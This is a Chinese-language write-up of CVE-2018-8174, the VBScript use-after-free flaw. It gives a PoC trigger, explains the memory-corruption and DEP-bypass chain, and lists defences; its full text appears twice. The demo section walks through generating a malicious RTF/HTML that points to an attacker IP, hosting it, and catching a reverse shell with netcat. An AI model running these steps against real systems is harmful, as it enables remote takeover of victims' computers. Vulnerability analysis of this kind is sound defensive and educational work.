Windows VBScript引擎远程执行代码漏洞 CVE-2018-8174分析与利用
字数 2305 2025-08-18 11:37:42

CVE-2018-8174 VBScript引擎远程执行代码漏洞分析与利用指南

漏洞概述

CVE-2018-8174是Microsoft VBScript引擎中的一个高危远程代码执行漏洞,属于UAF(Use-After-Free)类型漏洞。该漏洞存在于VBScript引擎处理内存中对象的方式中,攻击者可以利用此漏洞在当前用户上下文中执行任意代码。

影响范围

  • Windows 7 x86和x64版本
  • Windows RT 8.1
  • Windows Server 2008及R2/2012及R2/2016
  • Windows 8.1
  • Windows 10及服务器版本

攻击场景

  1. 基于Web的攻击:攻击者通过Internet Explorer利用此漏洞的特定网站,诱使用户查看该网站
  2. Office文档攻击:在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为"安全初始化"的ActiveX控件
  3. 第三方应用攻击:利用受到破坏的网站和接受或托管用户提供的内容或广告的网站

漏洞原理分析

漏洞触发机制

漏洞的核心在于VBScript引擎对对象引用计数的错误处理,导致UAF(Use-After-Free)情况:

  1. 对象创建与引用计数:创建MyTest类实例并赋值给数组array_a(1),此时引用计数为2
  2. Erase操作触发析构:通过Erase array_a清空数组元素,触发Class_Terminate析构函数
  3. 引用计数操纵:在析构函数中增加array_b(0)对MyTest实例的引用(引用计数+1),然后通过array_a(1)=1删除引用(引用计数-1)
  4. UAF形成:MyTest实例被释放,但array_b(0)仍保留引用,形成悬挂指针

关键代码分析

简化PoC代码:

Class MyTest
    Sub Class_Terminate
        Set array_b(0) = array_a(1)  ' 增加引用计数
        array_a(1) = 1              ' 平衡引用计数
    End Sub
End Class

Dim array_a(1), array_b(1)
Set array_a(1) = New MyTest        ' 创建实例,引用计数=2
Erase array_a                      ' 触发析构
array_b(0).MyTestVuln              ' 访问已释放内存

内存操作流程

  1. Set array_a(1) = New MyTest时,VBScriptClass引用计数为2
  2. Erase array_a返回后,MyTest指向的内存已释放,但array_b(0)仍指向这块被释放的内存
  3. 后续通过array_b(0)访问已释放内存,触发访问冲突(Access Violation)

漏洞利用技术

伪造数组实现任意内存读写

利用多次UAF完成类型混淆,通过伪造精数组对象实现任意地址读写:

  1. 制造内存偏移:通过UAF制造2个类的mem成员指向的偏移相差0x0c字节
  2. 伪造大数组:通过对2个对象mem成员读写操作伪造一个0x7fffffff大小的数组
  3. 内存访问范围:伪造的数组可访问0x00000000到0x7fffffff的内存空间

内存读取技术

利用VBS中bstr类型的特性实现内存读取:

  • bstr类型前4字节为size域
  • 通过lenb(bstrxx)可以读取字符串地址前4个字节的内容

内存读取函数示例:

Function ReadMemory(addr)
    addr = addr + 4
    ' 设置variant类型为8(string类型)
    ' 调用len函数时,vbscript会认为其向前4字节就是存放长度的地址内存
    ' 因此执行len函数实际上返回了指定参数内存地址的值
End Function

获取关键函数地址

  1. 泄露CScriptEntryPoint对象的虚函数表地址(属于Vbscript.dll)
  2. 遍历vbscript.dll导入表获取msvcrt.dll基地址
  3. 通过msvcrt.dll获取kernelbase.dll、ntdll.dll的基地址
  4. 最终获取NtContinue、VirtualProtect等关键函数地址

DEP绕过技术

  1. 修改VAR类型:利用任意读写修改VAR的type类型为0x4d,赋值为0触发VAR::Clear函数
  2. ZwContinue利用:精心构造CONTEXT结构体,使代码执行ntdll!ZwContinue函数
  3. 控制执行流
    • 将CONTEXT中的EIP设置为VirtualProtect
    • 将ESP中的返回地址和VirtualProtect参数设置为shellcode地址
    • VirtualProtect返回时跳转到shellcode执行

实际利用演示

环境准备

目标机

  • Windows 7系统
  • 未打补丁的Office或IE浏览器

攻击机

  • Kali Linux
  • Metasploit框架
  • CVE-2018-8174_EXP组件(https://github.com/Sch01ar/CVE-2018-8174_EXP)

攻击步骤

  1. 生成恶意文件

    python CVE-2018-8174.py -u http://攻击机IP/exploit.html -o msf.rtf -i 攻击机IP -p 监听端口
    
  2. 部署攻击文件

    • 将exploit.html复制到/var/www/html目录
    • 将msf.rtf复制到/root/.msf4/local目录
  3. 启动服务

    service apache2 start  # 启动web服务
    nc -lvp 4444          # 监听反弹shell
    
  4. 触发漏洞

    • 目标用户通过IE浏览器访问恶意URL
    • 或打开包含漏洞的Word文档(msf.rtf)
  5. 获取shell

    • 成功利用后,攻击机将收到目标系统的反弹shell

防御措施

  1. 及时更新补丁:微软已于2018年5月8日发布安全补丁,应及时安装
  2. 禁用VBScript:在不影响业务的情况下,可考虑禁用VBScript执行
  3. 权限控制:限制用户权限,避免使用管理员权限进行日常操作
  4. 应用加固
    • 配置IE安全设置,限制ActiveX控件执行
    • 使用EMET等缓解工具增加攻击难度
  5. 安全意识:不打开来源不明的Office文档或访问可疑网站

技术总结

CVE-2018-8174是一个典型的UAF漏洞,其利用过程展示了多个高级技术:

  1. 通过精心控制对象引用计数实现内存释放后重用
  2. 利用脚本语言特性实现类型混淆和内存伪造
  3. 通过链式泄露关键模块地址绕过ASLR
  4. 创新性的DEP绕过技术,避免传统ROP链构造
  5. 多平台攻击向量(Web和Office文档)增加了漏洞危害性

该漏洞的分析和利用过程为理解现代脚本引擎漏洞提供了很好的案例,也展示了从漏洞原理到实际武器化利用的完整链条。

CVE-2018-8174 VBScript引擎远程执行代码漏洞分析与利用指南 漏洞概述 CVE-2018-8174是Microsoft VBScript引擎中的一个高危远程代码执行漏洞,属于UAF(Use-After-Free)类型漏洞。该漏洞存在于VBScript引擎处理内存中对象的方式中,攻击者可以利用此漏洞在当前用户上下文中执行任意代码。 影响范围 Windows 7 x86和x64版本 Windows RT 8.1 Windows Server 2008及R2/2012及R2/2016 Windows 8.1 Windows 10及服务器版本 攻击场景 基于Web的攻击:攻击者通过Internet Explorer利用此漏洞的特定网站,诱使用户查看该网站 Office文档攻击:在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为"安全初始化"的ActiveX控件 第三方应用攻击:利用受到破坏的网站和接受或托管用户提供的内容或广告的网站 漏洞原理分析 漏洞触发机制 漏洞的核心在于VBScript引擎对对象引用计数的错误处理,导致UAF(Use-After-Free)情况: 对象创建与引用计数 :创建MyTest类实例并赋值给数组array_ a(1),此时引用计数为2 Erase操作触发析构 :通过Erase array_ a清空数组元素,触发Class_ Terminate析构函数 引用计数操纵 :在析构函数中增加array_ b(0)对MyTest实例的引用(引用计数+1),然后通过array_ a(1)=1删除引用(引用计数-1) UAF形成 :MyTest实例被释放,但array_ b(0)仍保留引用,形成悬挂指针 关键代码分析 简化PoC代码: 内存操作流程 Set array_a(1) = New MyTest 时,VBScriptClass引用计数为2 Erase array_a 返回后,MyTest指向的内存已释放,但array_ b(0)仍指向这块被释放的内存 后续通过array_ b(0)访问已释放内存,触发访问冲突(Access Violation) 漏洞利用技术 伪造数组实现任意内存读写 利用多次UAF完成类型混淆,通过伪造精数组对象实现任意地址读写: 制造内存偏移 :通过UAF制造2个类的mem成员指向的偏移相差0x0c字节 伪造大数组 :通过对2个对象mem成员读写操作伪造一个0x7fffffff大小的数组 内存访问范围 :伪造的数组可访问0x00000000到0x7fffffff的内存空间 内存读取技术 利用VBS中bstr类型的特性实现内存读取: bstr类型前4字节为size域 通过 lenb(bstrxx) 可以读取字符串地址前4个字节的内容 内存读取函数示例: 获取关键函数地址 泄露CScriptEntryPoint对象的虚函数表地址(属于Vbscript.dll) 遍历vbscript.dll导入表获取msvcrt.dll基地址 通过msvcrt.dll获取kernelbase.dll、ntdll.dll的基地址 最终获取NtContinue、VirtualProtect等关键函数地址 DEP绕过技术 修改VAR类型 :利用任意读写修改VAR的type类型为0x4d,赋值为0触发VAR::Clear函数 ZwContinue利用 :精心构造CONTEXT结构体,使代码执行ntdll !ZwContinue函数 控制执行流 : 将CONTEXT中的EIP设置为VirtualProtect 将ESP中的返回地址和VirtualProtect参数设置为shellcode地址 VirtualProtect返回时跳转到shellcode执行 实际利用演示 环境准备 目标机 : Windows 7系统 未打补丁的Office或IE浏览器 攻击机 : Kali Linux Metasploit框架 CVE-2018-8174_ EXP组件(https://github.com/Sch01ar/CVE-2018-8174_ EXP) 攻击步骤 生成恶意文件 : 部署攻击文件 : 将exploit.html复制到/var/www/html目录 将msf.rtf复制到/root/.msf4/local目录 启动服务 : 触发漏洞 : 目标用户通过IE浏览器访问恶意URL 或打开包含漏洞的Word文档(msf.rtf) 获取shell : 成功利用后,攻击机将收到目标系统的反弹shell 防御措施 及时更新补丁 :微软已于2018年5月8日发布安全补丁,应及时安装 禁用VBScript :在不影响业务的情况下,可考虑禁用VBScript执行 权限控制 :限制用户权限,避免使用管理员权限进行日常操作 应用加固 : 配置IE安全设置,限制ActiveX控件执行 使用EMET等缓解工具增加攻击难度 安全意识 :不打开来源不明的Office文档或访问可疑网站 技术总结 CVE-2018-8174是一个典型的UAF漏洞,其利用过程展示了多个高级技术: 通过精心控制对象引用计数实现内存释放后重用 利用脚本语言特性实现类型混淆和内存伪造 通过链式泄露关键模块地址绕过ASLR 创新性的DEP绕过技术,避免传统ROP链构造 多平台攻击向量(Web和Office文档)增加了漏洞危害性 该漏洞的分析和利用过程为理解现代脚本引擎漏洞提供了很好的案例,也展示了从漏洞原理到实际武器化利用的完整链条。